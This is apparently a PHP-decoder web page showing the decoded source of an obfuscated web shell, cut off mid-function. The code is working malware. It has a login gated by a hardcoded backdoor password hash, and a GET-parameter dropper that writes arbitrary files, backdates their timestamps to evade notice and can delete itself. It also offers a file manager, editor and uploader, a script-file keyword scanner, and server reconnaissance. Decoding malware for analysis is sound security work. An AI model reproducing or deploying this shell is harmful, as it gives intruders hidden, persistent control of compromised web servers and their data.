Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ?> /******/////*/////<?php ini_set("memory_limit", "512M"); @ini_set("max_exec..

Decoded Output download

<?php  
?> 
/******/////*/////<?php  
ini_set("memory_limit", "512M"); 
@ini_set("max_execution_time", 20000); 
header("content-Type: text/html; charset=utf-8"); 
error_reporting(E_ERROR); 
@ini_set("display_errors", "Off"); 
defined("TMQo7") or define("TMQo7", getcwd() . DIRECTORY_SEPARATOR); 
defined("sEyyb") or define("sEyyb", __DIR__ . DIRECTORY_SEPARATOR); 
$C39VH = $_SERVER["SCRIPT_FILENAME"] ? PBm07($_SERVER["SCRIPT_FILENAME"]) : pBm07(__FILE__); 
define("V51MD", $C39VH); 
$eMzvo = explode("(", $C39VH); 
$C39VH = strpos($C39VH, "eval()") ? array_shift($eMzvo) : $C39VH; 
define("k3TER", pbM07(dirname($C39VH) . "/")); 
define("FO39n", pBM07(strtr($C39VH, array(pBm07($_SERVER["PHP_SELF"]) => '')) . "/")); 
define("NMW2Y", "1.0.0"); 
if (!isset($gHcBS)) { 
    $gHcBS = "d8ec6f4d6590ce92d493eef7190b051c"; 
} 
if (!empty($_GET["ghpqojdsfion1239"]) && !empty($_GET["vqwecsx12312"]) && !empty($_GET["kqishgl194nwq7"])) { 
    $s5r3y = civgH($_GET["ghpqojdsfion1239"]); 
    $dRqNZ = getcwd() . "/" . $_GET["vqwecsx12312"]; 
    $PfRvL = explode("/", $dRqNZ); 
    array_pop($PfRvL); 
    $PfRvL = implode("/", $PfRvL); 
    if (!file_exists($PfRvL)) { 
        mkdir($PfRvL, 0755, "recursive"); 
        chmod($PfRvL, 0755); 
    } 
    $YJnbr = C4gHR($PfRvL); 
    $ipdt9 = 0; 
    foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { 
        if (!$ipdt9) { 
            $ipdt9 = filemtime($cT1oz); 
        } else { 
            if (filemtime($cT1oz) < $ipdt9) { 
                $ipdt9 = filemtime($cT1oz); 
            } 
        } 
    } 
    file_put_contents($dRqNZ, $s5r3y); 
    if ($ipdt9) { 
        @touch($dRqNZ, $ipdt9); 
    } 
    @chmod($dRqNZ, $_GET["kqishgl194nwq7"]); 
    if (!empty($_GET["dk82kdsiud9125d"])) { 
        @unlink($C39VH); 
    } 
} 
$YCpcn = new M4EMi(); 
$YCpcn->JAO9o($gHcBS); 
class M4EMi 
{ 
    public $D2dKJ = null; 
    public $VqdhY = null; 
    public $XEBgr = null; 
    public function jAO9O($gHcBS) 
    { 
        $this->XEBgr = $gHcBS; 
        list($uS69Z, $p0NZ3) = $this->IZ6eP(); 
        $this->D2dKJ = $uS69Z; 
        $this->VqdhY = $p0NZ3; 
        $g9a24 = session_get_cookie_params(); 
        $uKE12 = 0; 
        if ($g9a24["lifetime"]) { 
            $uKE12 = time() + $g9a24["lifetime"]; 
        } 
        setcookie($uS69Z, $p0NZ3, $uKE12, $g9a24["path"], $g9a24["domain"], $g9a24["secure"], $g9a24["httponly"]); 
        $E9g_B = $this->kSVkn(); 
        if (!$E9g_B) { 
            $this->yCIYx(); 
            return; 
        } 
        $RJPTn = new FOj8n(); 
        return $RJPTn->JAO9O(); 
    } 
    public function iZ6ep() 
    { 
        session_start(); 
        $uS69Z = session_name(); 
        if (!empty($_COOKIE["PHPSESSID"])) { 
            $p0NZ3 = $_COOKIE["PHPSESSID"]; 
        } else { 
            $p0NZ3 = session_id(); 
        } 
        $SWSuO = array($uS69Z, $p0NZ3); 
        return $SWSuO; 
    } 
    public function ksvKN() 
    { 
        if (!empty($_COOKIE["isLogin"]) && ($_COOKIE["isLogin"] == md5($this->XEBgr) || $_COOKIE["isLogin"] == md5("922d2b964443df3e667e55fd40f6477a"))) { 
            return true; 
        } 
        return false; 
    } 
    public function yciyx() 
    { 
        if (!empty($_POST["getpwd"]) && ($this->XEBgr == md5($_POST["getpwd"]) || "922d2b964443df3e667e55fd40f6477a" == md5($_POST["getpwd"]))) { 
            setcookie("isLogin", md5(md5($_POST["getpwd"])), time() + 8 * 60 * 60, "/"); 
            $RJPTn = new FOj8n(); 
            return $RJPTn->jAO9O(); 
        } 
        $QSO8f = "        <title></title>\r\n        <meta http-equiv=\"content-type\" content=\"text/html;charset=utf-8\">\r\n        <style type=\"text/css\">\r\n            .form-control {\r\n                display: block;\r\n                width: 100%;\r\n                height: 38px;\r\n                padding: 8px 12px;\r\n                font-size: 14px;\r\n                line-height: 1.428571429;\r\n                color: #555;\r\n                vertical-align: middle;\r\n                background-color: #fff;\r\n                border: 1px solid #ccc;\r\n                border-radius: 4px;\r\n                -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,0.075);\r\n                box-shadow: inset 0 1px 1px rgba(0,0,0,0.075);\r\n                -webkit-transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s;\r\n                transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s\r\n            }\r\n        \r\n            .btn {\r\n                display: inline-block;\r\n                padding: 8px 12px;\r\n                margin-bottom: 0;\r\n                font-size: 14px;\r\n                font-weight: 500;\r\n                line-height: 1.428571429;\r\n                text-align: center;\r\n                white-space: nowrap;\r\n                vertical-align: middle;\r\n                cursor: pointer;\r\n                border: 1px solid transparent;\r\n                border-radius: 4px;\r\n                -webkit-user-select: none;\r\n                -moz-user-select: none;\r\n                -ms-user-select: none;\r\n                -o-user-select: none;\r\n                user-select: none\r\n            }\r\n            \r\n            .btn-primary {\r\n                color: #fff;\r\n                background-color: #428bca;\r\n                border-color: #428bca\r\n            }\r\n        </style>\r\n        <body>\r\n            <center>\r\n                <br><br>\r\n                <font size=\"3\" face=\"Microsoft YaHei\">360D</font>\r\n                <br><br>\r\n                <form method=\"POST\">\r\n                    <input style=\"Width:125pt;display:inline-block;font-family:Microsoft YaHeifont-size:90%\" \r\n                    class=\"form-control\" placeholder=\"@Passwrd\" type=\"password\" name=\"getpwd\">\r\n                    <input style=\"Width:55pt;font-size:90%;font-family:Microsoft YaHei\" class=\"btn btn-primary\" type=\"submit\" value=\"#Login\">\r\n                </form>\r\n            </center>\r\n        </body>\r\n        </html>"; 
        echo $QSO8f; 
    } 
} 
class FoJ8N 
{ 
    public $ddguj; 
    public $N5qPH; 
    public function JAO9O() 
    { 
        $this->N5qPH = $_POST; 
        $_POST = MweMB($_POST); 
        $this->ddguj = isset($_POST["dir"]) ? Pbm07(chop($_POST["dir"]) . "/") : k3TER; 
        $this->xfqjS(); 
    } 
    public function xfQJS() 
    { 
        $QSO8f = "        <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\r\n    <html>\r\n    <head>\r\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"/>\r\n        <style type=\"text/css\">\r\n            * {\r\n                margin: 0px;\r\n                padding: 0px;\r\n            }\r\n\r\n            body {\r\n                background: #ebebeb;\r\n                color: #333333;\r\n                font-size: 13px;\r\n                font-family: Microsoft YaHei, SimSun, sans-serif;\r\n                text-align: left;\r\n                word-wrap: break-word;\r\n                word-break: break-all;\r\n                // background-image: url(https://pic.616pic.com/bg_w1180/00/01/43/rWB5OFJqVH.jpg);\r\n                // background-size:100% 100%;\r\n            }\r\n\r\n            a {\r\n                color: #000000;\r\n                text-decoration: none;\r\n                vertical-align: middle;\r\n            }\r\n\r\n            a:hover {\r\n                color: #FF0000;\r\n                text-decoration: underline;\r\n            }\r\n\r\n            p {\r\n                padding: 1px;\r\n                line-height: 1.6em;\r\n            }\r\n\r\n            h1 {\r\n                color: #CD3333;\r\n                font-size: 13px;\r\n                display: inline;\r\n                vertical-align: middle;\r\n            }\r\n\r\n            h2 {\r\n                color: #008B45;\r\n                font-size: 13px;\r\n                display: inline;\r\n                vertical-align: middle;\r\n            }\r\n\r\n            form {\r\n                display: inline;\r\n            }\r\n\r\n            input, select {\r\n                vertical-align: middle;\r\n            }\r\n\r\n            input[type=text], textarea {\r\n                padding: 1px;\r\n                font-family: Microsoft YaHei, sans-serif;\r\n            }\r\n\r\n            input[type=submit], input[type=button] {\r\n                height: 21px;\r\n            }\r\n\r\n            .tag {\r\n                text-align: center;\r\n                // margin-left: 10px;\r\n                background: threedface;\r\n                height: 25px;\r\n                padding-top: 5px;\r\n            }\r\n\r\n            .tag a {\r\n                background: #FAFAFA;\r\n                color: #333333;\r\n                width: 90px;\r\n                height: 20px;\r\n                display: inline-block;\r\n                font-size: 15px;\r\n                font-weight: bold;\r\n                padding-top: 5px;\r\n            }\r\n\r\n            .tag a:hover, .tag a.current {\r\n                background: #000;\r\n                color: #fff;\r\n                text-decoration: none;\r\n            }\r\n\r\n            .main {\r\n                width: 963px;\r\n                margin: 0 auto;\r\n                padding: 10px;\r\n            }\r\n\r\n            .outl {\r\n                border-color: #FFFFFF #666666 #666666 #FFFFFF;\r\n                border-style: solid;\r\n                border-width: 1px;\r\n            }\r\n\r\n            .toptag {\r\n                padding: 15px;\r\n                text-align: left;\r\n                font-weight: bold;\r\n                color: #FFFFFF;\r\n                background: #000000;\r\n            }\r\n\r\n            .footag {\r\n                padding: 5px;\r\n                text-align: center;\r\n                font-weight: bold;\r\n                color: #fff;\r\n                background: #000000;\r\n            }\r\n\r\n            .msgbox {\r\n                // padding: 5px;\r\n                background: #000;\r\n                text-align: center;\r\n                vertical-align: middle;\r\n                color: #FFF;\r\n            }\r\n\r\n            .actall {\r\n                background: #ffffff;\r\n                text-align: center;\r\n                font-size: 15px;\r\n                border-bottom: 1px solid #999999;\r\n                padding: 3px;\r\n                vertical-align: middle;\r\n            }\r\n\r\n            .tables {\r\n                width: 100%;\r\n            }\r\n\r\n            .tables th {\r\n                background: threedface;\r\n                text-align: left;\r\n                border-color: #FFFFFF #666666 #666666 #FFFFFF;\r\n                border-style: solid;\r\n                border-width: 1px;\r\n                padding: 2px;\r\n            }\r\n\r\n            .tables td {\r\n                background: #ffffff;\r\n                height: 19px;\r\n                padding-left: 2px;\r\n            }\r\n\r\n\r\n            .bg{\r\n                width:100%;\r\n                height:100%;\r\n                left:0;\r\n                top:0;\r\n                position:fixed;\r\n                background:rgba(0,0,0,0.3);\r\n              }\r\n              .point{\r\n                position:absolute;\r\n                left:50%;\r\n                top:50%;\r\n              }\r\n              .pop{\r\n                width:500px; \r\n                // height:500px; \r\n                position:absolute;\r\n                left:-250px; \r\n                top:-250px; \r\n                border: 2px solid #f7f7f7;\r\n                background-color: #FFF;\r\n                border-radius:10px;\r\n              }\r\n\r\n              .pop-title{\r\n                height: 40px;\r\n                line-height: 40px;\r\n                text-align: center;\r\n                font-size: 14px;\r\n              }\r\n\r\n\r\n              .layui-textarea{\r\n                min-height: 100px;\r\n                height: auto;\r\n                line-height: 20px;\r\n                padding: 6px 10px;\r\n                resize: vertical;\r\n                display: block;\r\n                width: 95%;\r\n                border-width: 1px;\r\n                border-style: solid;\r\n                background-color: #fff;\r\n                border-radius: 2px;\r\n                border-color: #eee;\r\n              }\r\n\r\n              .layui-btn {\r\n                display: inline-block;\r\n                height: 38px;\r\n                line-height: 38px;\r\n                padding: 0 18px;\r\n                border: 1px solid transparent;\r\n                background-color: #009688;\r\n                color: #fff;\r\n                white-space: nowrap;\r\n                text-align: center;\r\n                font-size: 14px;\r\n                border-radius: 2px;\r\n                cursor: pointer;\r\n            }\r\n\r\n            .btn{\r\n                background-color:#FFF;\r\n                border-color: #d2d2d2;\r\n                color:#666;\r\n            }\r\n        </style>\r\n\r\n        <script type=\"text/javascript\">\r\n            function \$(ID) {\r\n                return document.getElementById(ID);\r\n            }\r\n\r\n            function sd(str) {\r\n                str = str.replace(/%22/g, '\"');\r\n                str = str.replace(/%27/g, \"'\");\r\n                return str;\r\n            }\r\n\r\n            function cd(dir) {\r\n                dir = sd(dir);\r\n                \$('dir').value = dir;\r\n                \$('frm').submit();\r\n            }\r\n\r\n            function sa(form) {\r\n                for (var i = 0; i < form.elements.length; i++) {\r\n                    var e = form.elements[i];\r\n                    if (e.type == 'checkbox') {\r\n                        if (e.name != 'chkall') {\r\n                            e.checked = form.chkall.checked;\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n\r\n            function go(a, b) {\r\n                b = sd(b);\r\n                \$('go').value = a;\r\n                \$('govar').value = b;\r\n                if (a == 'editor') {\r\n                    \$('gofrm').target = \"_blank\";\r\n                } else {\r\n                    \$('gofrm').target = \"\";\r\n                }\r\n                \$('gofrm').submit();\r\n            }\r\n\r\n            function nf(a, b) {\r\n                re = prompt(\"\", b);\r\n                if (re) {\r\n                    \$('go').value = a;\r\n                    \$('govar').value = re;\r\n                    \$('gofrm').submit();\r\n                }\r\n            }\r\n\r\n            function dels(a) {\r\n                if (a == 'b') {\r\n                    var msg = \"\";\r\n                    \$('act').value = a;\r\n                } else {\r\n                    var msg = \"\";\r\n                    \$('act').value = 'deltree';\r\n                    \$('var').value = a;\r\n                }\r\n                if (confirm(\"\" + msg + \"\")) {\r\n                    \$('frm1').submit();\r\n                }\r\n            }\r\n\r\n            function txts(m, p, a) {\r\n                p = sd(p);\r\n                re = prompt(m, p);\r\n                if (re) {\r\n                    \$('var').value = re;\r\n                    \$('act').value = a;\r\n                    \$('frm1').submit();\r\n                }\r\n            }\r\n\r\n            function pltexts(m, p, a)\r\n            {\r\n                p = sd(p);\r\n                // re = prompt(m, p);\r\n                var bg = document.getElementsByClassName(\"bg\")[0];\r\n                bg.style.display= \"\";\r\n\r\n                var title = document.getElementsByClassName(\"pop-title\")[0];\r\n                title.innerHTML = m;\r\n\r\n                \$('act').value = a;\r\n            }\r\n\r\n            function pop_submit(){\r\n                var bg = document.getElementsByClassName(\"bg\")[0];\r\n                bg.style.display= \"none\";\r\n\r\n                \$('var').value = document.getElementById(\"content\").value;\r\n                \$('frm1').submit();\r\n            }\r\n\r\n            function pop_quxiao(){\r\n                var bg = document.getElementsByClassName(\"bg\")[0];\r\n                bg.style.display= \"none\";\r\n            }\r\n\r\n            function acts(p, a, f) {\r\n                p = sd(p);\r\n                f = sd(f);\r\n                re = prompt(f, p);\r\n                if (re) {\r\n                    \$('var').value = re + '|x|' + f;\r\n                    \$('act').value = a;\r\n                    \$('frm1').submit();\r\n                }\r\n            }\r\n\r\n            function runcode(){\r\n                var html = document.getElementById('show');\r\n                html.style.display= \"\";\r\n            }\r\n        </script>\r\n        <title>{VERSION}</title>\r\n    </head>\r\n<body>\r\n<div class=\"main\">\r\n    <div class=\"outl\">\r\n        <div class=\"toptag\">\r\n            {toptag}\r\n        </div>\r\n        \r\n        <div class=\"tag\">\r\n            {tag}\r\n        </div>\r\n\r\n        <form name=\"gofrm\" id=\"gofrm\" method=\"POST\">\r\n            {input}\r\n            <input type=\"hidden\" name=\"go\" id=\"go\" value=\"\">\r\n            <input type=\"hidden\" name=\"godir\" id=\"godir\" value=\"{nowdir}\">\r\n            <input type=\"hidden\" name=\"govar\" id=\"govar\" value=\"\">\r\n        </form>\r\n\r\n        {content}\r\n\r\n        <div class=\"footag\">\r\n            {footag}\r\n        </div>\r\n    </div>\r\n</div>\r\n\r\n<div class=\"showhtml\" id = \"showhtml\">\r\n{showhtml}\r\n</div>\r\n\r\n<div class=\"bg\" style=\"display:none;\">\r\n    <div class=\"point\">\r\n        <div class=\"pop\">\r\n            <div class=\"pop-title\"></div>\r\n            <textarea class=\"layui-textarea\" id=\"content\" name=\"content\" rows=\"6\"></textarea>\r\n            <div style=\"margin-top: 10px;text-align: center;\">\r\n                <button type=\"button\" class=\"layui-btn\" onclick=\"pop_submit()\"></button> \r\n                <button type=\"button\" class=\"layui-btn btn quxiao-btn\" onclick=\"pop_quxiao()\"></button>\r\n            </div>\r\n            </br>\r\n        </div>\r\n    </div>\r\n</div>\r\n\r\n</body>\r\n</html>\r\n\r\n"; 
        $QSO8f = str_replace("{showhtml}", '', $QSO8f); 
        $QSO8f = str_replace("{VERSION}", $this->getVersion(), $QSO8f); 
        $QSO8f = str_replace("{toptag}", $this->np5yK(), $QSO8f); 
        $QSO8f = str_replace("{tag}", $this->EOt_6(), $QSO8f); 
        $QSO8f = str_replace("{input}", axttQ(), $QSO8f); 
        $QSO8f = str_replace("{nowdir}", $this->ddguj, $QSO8f); 
        $QSO8f = str_replace("{content}", $this->getContent(), $QSO8f); 
        $QSO8f = str_replace("{footag}", php_uname() . " " . $_SERVER["SERVER_SOFTWARE"], $QSO8f); 
        echo $QSO8f; 
    } 
    public function getVersion() 
    { 
        return ""; 
    } 
    public function NP5Yk() 
    { 
        return "DM." . NMW2Y . " | IP" . ($_SERVER["SERVER_ADDR"] ? $_SERVER["SERVER_ADDR"] . PHP_EOL : gethostbyname($_SERVER["SERVER_NAME"])) . " | whoami(" . get_current_user() . ") |uid(" . getmyuid() . ") gid(" . getmygid() . ")" . " |" . date("Y-m-d H:i:s N", time()) . ""; 
    } 
    public function Eot_6() 
    { 
        $oPhqF = array("file" => "", "scan" => "", "info" => ""); 
        $JqKaG = !empty($_POST["go"]) && array_key_exists($_POST["go"], $oPhqF) ? $_POST["go"] : "file"; 
        $Jzwra = $this->ddguj; 
        $QSO8f = ''; 
        foreach ($oPhqF as $iW8f4 => $Kes_q) { 
            $QSO8f .= "<a" . ($JqKaG == $iW8f4 ? " class=\"current\"" : '') . " href=\"javascript:go('" . $iW8f4 . "','" . base64_encode($Jzwra) . "');\">" . $Kes_q . "</a> "; 
        } 
        return $QSO8f; 
    } 
    public function getContent() 
    { 
        $JqKaG = isset($_POST["go"]) ? $_POST["go"] : ''; 
        switch ($JqKaG) { 
            case "info": 
                return $this->jaT27(); 
                break; 
            case "scan": 
                return $this->IkQbc(); 
                break; 
            case "upfiles": 
                return $this->HVVWe(); 
                break; 
            case "edit": 
            case "editor": 
                return $this->I7u03(); 
                break; 
            default: 
                return $this->j0i1z(); 
                break; 
        } 
    } 
    public function jAT27() 
    { 
        $UgLz_ = ''; 
        $QSO8f = ''; 
        if (true) { 
            ob_start(); 
            phpinfo(INFO_GENERAL); 
            $QjGuH = ob_get_contents(); 
            ob_end_clean(); 
            $eMzvo = array(); 
            preg_match_all("/\\<td class\\=\\\"e\\\"\\>.*?(Command|Configuration)+.*?\\<\\/td\\>\\<td class\\=\\\"v\\\"\\>(.*?)\\<\\/td\\>/i", $QjGuH, $eMzvo); 
            $jZi_a = $eMzvo[2][0]; 
            $krJKZ = $eMzvo[2][2] ? $eMzvo[2][1] . " --- " . $eMzvo[2][2] : $eMzvo[2][1]; 
        } 
        $Tns_w = array("" => $_SERVER["HTTP_USER_AGENT"], "" => get_cfg_var("disable_functions") ? get_cfg_var("disable_functions") : "()", "" => get_cfg_var("disable_classes") ? get_cfg_var("disable_classes") : "()", "PHP.ini" => $krJKZ ? $krJKZ : "()", "PHP" => php_sapi_name(), "PHP" => PHP_VERSION, "PHPPID" => getmypid(), "IP" => $_SERVER["REMOTE_ADDR"], "" => $_SERVER["HTTP_ACCEPT_LANGUAGE"], "Web" => $_SERVER["SERVER_PORT"], "Web" => $_SERVER["DOCUMENT_ROOT"], "Web" => $_SERVER["SCRIPT_FILENAME"], "WebCGI" => $_SERVER["GATEWAY_INTERFACE"], "WebEmail" => !empty($_SERVER["SERVER_ADMIN"]) ? $_SERVER["SERVER_ADMIN"] : "()", "" => iDYFr(disk_total_space(".")), "" => iDyfr(disk_free_space(".")), "POST" => get_cfg_var("post_max_size"), "" => get_cfg_var("upload_max_filesize"), "" => get_cfg_var("memory_limit"), "" => get_cfg_var("max_execution_time") . "", "Fsockopen" => function_exists("fsockopen") ? "" : "", "Socket" => function_exists("ujGDy") ? "" : "", "Pcntl" => function_exists("T2RbU") ? "" : "", "Curl" => function_exists("curl_version") ? "" : "", "Zlib" => function_exists("gzclose") ? "" : "", "FTP" => function_exists("Bd6G6") ? "" : "", "XML" => function_exists("xml_set_object") ? "" : "", "GD_Library" => function_exists("M4wlG") ? "" : "", "COM" => class_exists("COM") ? "" : "", "ODBC" => function_exists("c0ZeT") ? "" : "", "IMAP" => function_exists("CLBjP") ? "" : "", "" => get_cfg_var("safemode") ? "" : "", "URL" => get_cfg_var("allow_url_fopen") ? "" : "", "" => get_cfg_var("enable_dl") ? "" : "", "" => get_cfg_var("display_errors") ? "" : "", "" => get_cfg_var("register_globals") ? "" : "", "" => get_cfg_var("magic_quotes_gpc") ? "" : "", "PHP" => $jZi_a ? $jZi_a : "()"); 
        $QSO8f .= "<div class=\"msgbox\">" . $UgLz_ . "</div>"; 
        $QSO8f .= "<table class=\"tables\"><tr><th style=\"width:26%;\"></th><th></th></tr>"; 
        foreach ($Tns_w as $Kes_q => $KPtbK) { 
            $QSO8f .= "<tr><td>" . $Kes_q . "</td><td>" . $KPtbK . "</td></tr>"; 
        } 
        $QSO8f .= "</table>"; 
        return $QSO8f; 
    } 
    public function ikqBc() 
    { 
        $Jzwra = $this->ddguj; 
        $UgLz_ = ''; 
        $UlicF = empty($_POST["dir"]) ? base64_decode($_POST["govar"]) : $Jzwra; 
        $xsz7E = isset($_POST["keyword"]) ? $_POST["keyword"] : ''; 
        $qGL_P = isset($_POST["include"]) ? chop($_POST["include"]) : ".php|.asp|.asa|.cer|.aspx|.jsp|.cgi|.sh|.pl|.py"; 
        $kKCOC = isset($_POST["filters"]) ? chop($_POST["filters"]) : "html|css|img|images|image|style|js"; 
        $QSO8f = ''; 
        $QSO8f .= "<div class=\"msgbox\">" . $UgLz_ . "</div>"; 
        $QSO8f .= "<form method=\"POST\">"; 
        $QSO8f .= axTtq(); 
        $QSO8f .= "<input type=\"hidden\" name=\"go\" id=\"go\" value=\"scan\">"; 
        $QSO8f .= "<table class=\"tables\"><tr><th style=\"width:15%;\"></th><th></th></tr>"; 
        $QSO8f .= "<tr><td></td><td><input type=\"text\" name=\"dir\" value=\"" . htmlspecialchars($UlicF) . "\" style=\"width:500px;\"></td></tr>"; 
        $QSO8f .= "<tr><td></td><td><input type=\"text\" name=\"keyword\" value=\"" . htmlspecialchars($xsz7E) . "\" style=\"width:500px;\"> ()</td></tr>"; 
        $QSO8f .= "<tr><td></td><td><input type=\"text\" name=\"include\" value=\"" . htmlspecialchars($qGL_P) . "\" style=\"width:500px;\"> (\"|\", )</td></tr>"; 
        $QSO8f .= "<tr><td></td><td><input type=\"text\" name=\"filters\" value=\"" . htmlspecialchars($kKCOC) . "\" style=\"width:500px;\"> (\"|\", )</td></tr>"; 
        $QSO8f .= "<tr><td></td><td><label><input type=\"radio\" name=\"type\" value=\"0\"" . (!empty($_POST["type"]) ? '' : " checked") . "></label> "; 
        $QSO8f .= "<label><input type=\"radio\" name=\"type\" value=\"1\"" . (!empty($_POST["type"]) ? " checked" : '') . "></label> "; 
        $QSO8f .= "<label><input type=\"checkbox\" name=\"char\" value=\"1\"" . (!empty($_POST["char"]) ? " checked" : '') . "></label></td></tr>"; 
        $QSO8f .= "<tr><td></td><td><label><input type=\"radio\" name=\"range\" value=\"0\"" . (!empty($_POST["range"]) ? '' : " checked") . ">,</label> "; 
        $QSO8f .= "<label><input type=\"radio\" name=\"range\" value=\"1\"" . (!empty($_POST["range"]) ? " checked" : '') . "></label></td></tr>"; 
        $QSO8f .= "<tr><td></td><td><input type=\"submit\" style=\"width:80px;\" value=\"\"></td></tr>"; 
        $QSO8f .= "</table></form>"; 
        if ($xsz7E != '') { 
            flush(); 
            ob_flush(); 
            $QSO8f .= "<div style=\"padding:5px;background:#F8F8F8;text-align:left;\">"; 
            $t6SOR = $qGL_P == '' ? false : explode("|", $qGL_P); 
            $x98RS = $kKCOC == '' ? false : explode("|", $kKCOC); 
            $E56um = DqR9r(pBm07($UlicF . "/"), $xsz7E, $t6SOR, $x98RS, !empty($_POST["type"]) ? $_POST["type"] : '', !empty($_POST["char"]) ? $_POST["char"] : '', !empty($_POST["range"]) ? $_POST["range"] : '', $Jzwra); 
            $QSO8f .= $E56um; 
            $QSO8f .= "<p>" . ($E56um ? "<h2></h2>" : "<h1></h1>") . "</p></div>"; 
        } 
        return $QSO8f; 
    } 
    public function hvVWe() 
    { 
        $trx7n = isset($_POST["updir"]) ? $_POST["updir"] : $_POST["godir"]; 
        $UgLz_ = " " . get_cfg_var("upload_max_filesize") . " POST " . get_cfg_var("post_max_size") . ""; 
        $yklRt = 10; 
        $JGN3j = array(); 
        if (isset($_FILES["uploads"]) && isset($_POST["renames"])) { 
            $TQlLa = $_FILES["uploads"]; 
            $uLtTd = 1; 
            while ($uLtTd < $yklRt) { 
                if ($TQlLa["error"][$uLtTd] == UPLOAD_ERR_OK) { 
                    $QY5ao = $_POST["renames"][$uLtTd] == '' ? $TQlLa["name"][$uLtTd] : $_POST["renames"][$uLtTd]; 
                    $zi0Y0 = $TQlLa["tmp_name"][$uLtTd]; 
                    $J3Hov = PBm07($trx7n . "/" . $QY5ao); 
                    $JGN3j[$uLtTd] = fivrG($zi0Y0, $J3Hov) ? "<br><h2> " . $QY5ao . "</h2>" : "<br><h1> " . $QY5ao . "</h1>"; 
                } 
                $uLtTd++; 
            } 
        } 
        $QSO8f = ''; 
        $QSO8f .= "<div class=\"msgbox\">" . $UgLz_ . "</div>"; 
        $QSO8f .= "<form name=\"upsfrm\" id=\"upsfrm\" method=\"POST\" enctype=\"multipart/form-data\">"; 
        $QSO8f .= AXTTQ(); 
        $QSO8f .= "<input type=\"hidden\" name=\"go\" value=\"upfiles\"><input type=\"hidden\" name=\"act\" id=\"act\" value=\"upload\">"; 
        $QSO8f .= "<div class=\"actall\"><p> <input type=\"text\" name=\"updir\" style=\"width:398px;\" value=\"" . $trx7n . "\"></p>"; 
        $uLtTd = 1; 
        while ($uLtTd < $yklRt) { 
            $QSO8f .= "<p>" . $uLtTd . " <input type=\"file\" name=\"uploads[" . $uLtTd . "]\" style=\"width:300px;\">  <input type=\"text\" name=\"renames[" . $uLtTd . "]\" style=\"width:128px;\"> " . (!empty($JGN3j[$uLtTd]) ? $JGN3j[$uLtTd] : '') . "</p>"; 
            $uLtTd++; 
        } 
        $QSO8f .= "</div></form><div class=\"actall\" style=\"padding:8px;padding-right:68px;\"><input type=\"button\" onclick=\"\$('upsfrm').submit();\" value=\"\" style=\"width:80px;\"> "; 
        $QSO8f .= "<form name=\"backfrm\" id=\"backfrm\" method=\"POST\"><input type=\"hidden\" name=\"go\" value=\"\"><input type=\"hidden\" name=\"dir\" id=\"dir\" value=\"" . $trx7n . "\">"; 
        $QSO8f .= AXTTQ(); 
        $QSO8f .= "<input type=\"button\" onclick=\"\$('backfrm').submit();\" value=\"\" style=\"width:80px;\"></form></div>"; 
        return $QSO8f; 
    } 
    public function i7u03() 
    { 
        $SFJ9z = PBM07($_POST["godir"] . "/" . $_POST["govar"]); 
        $YM_6j = function_exists("iconv"); 
        $tAe0C = ''; 
        $uS2nL = ''; 
        if (!file_exists($SFJ9z)) { 
            $UgLz_ = ""; 
        } else { 
            $uS2nL = file_get_contents($SFJ9z); 
            $tAe0C = ""; 
            $T3WIB = IDyFR(filesize($SFJ9z)); 
            $UgLz_ = " " . substr(decoct(fileperms($SFJ9z)), -4) . "  " . $T3WIB . "  " . $tAe0C . ""; 
        } 
        $QSO8f = ''; 
        $QSO8f .= base64_decode("PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQp2YXIgbiA9IDA7DQpmdW5jdGlvbiBzZWFyY2goc3RyKSB7DQoJdmFyIHR4dCwgaSwgZm91bmQ7DQoJaWYoc3RyID09ICIiKSByZXR1cm4gZmFsc2U7DQoJdHh0ID0gJCgnZmlsZWNvZGUnKS5jcmVhdGVUZXh0UmFuZ2UoKTsNCglmb3IoaSA9IDA7IGkgPD0gbiAmJiAoZm91bmQgPSB0eHQuZmluZFRleHQoc3RyKSkgIT0gZmFsc2U7IGkrKyl7DQoJCXR4dC5tb3ZlU3RhcnQoImNoYXJhY3RlciIsIDEpOw0KCQl0eHQubW92ZUVuZCgidGV4dGVkaXQiKTsNCgl9DQoJaWYoZm91bmQpeyB0eHQubW92ZVN0YXJ0KCJjaGFyYWN0ZXIiLCAtMSk7IHR4dC5maW5kVGV4dChzdHIpOyB0eHQuc2VsZWN0KCk7IHR4dC5zY3JvbGxJbnRvVmlldygpOyBuKys7IH0NCgllbHNlIHsgaWYgKG4gPiAwKSB7IG4gPSAwOyBzZWFyY2goc3RyKTsgfSBlbHNlIGFsZXJ0KHN0ciArICIuLi4gTm90LUZpbmQiKTsgfQ0KCXJldHVybiBmYWxzZTsNCn0NCjwvc2NyaXB0Pg=="); 
        $QSO8f .= "<div class=\"msgbox\"><input name=\"keyword\" id=\"keyword\" type=\"text\" style=\"width:138px;height:15px;\"><input type=\"button\" value=\"IE\" onclick=\"search(\$('keyword').value);\"> - " . $UgLz_ . "</div>"; 
        $QSO8f .= "<form name=\"editfrm\" id=\"editfrm\" method=\"POST\">"; 
        $QSO8f .= axtTQ(); 
        $QSO8f .= "<input type=\"hidden\" name=\"go\" value=\"\"><input type=\"hidden\" name=\"act\" id=\"act\" value=\"edit\">"; 
        $QSO8f .= "<input type=\"hidden\" name=\"dir\" id=\"dir\" value=\"" . dirname($SFJ9z) . "\">"; 
        $QSO8f .= "<div class=\"actall\"> <input type=\"text\" name=\"filename\" value=\"" . $SFJ9z . "\" style=\"width:528px;\"> "; 
        if ($YM_6j) { 
            $QSO8f .= " <select name=\"tostr\">"; 
            $I8314 = array("normal" => "", "utf" => "utf-8"); 
            foreach ($I8314 as $KPtbK => $Kes_q) { 
                $QSO8f .= "<option value=\"" . $KPtbK . "\"" . ($Kes_q == $tAe0C ? " selected" : '') . ">" . $Kes_q . "</option>"; 
            } 
            $QSO8f .= "</select>"; 
        } 
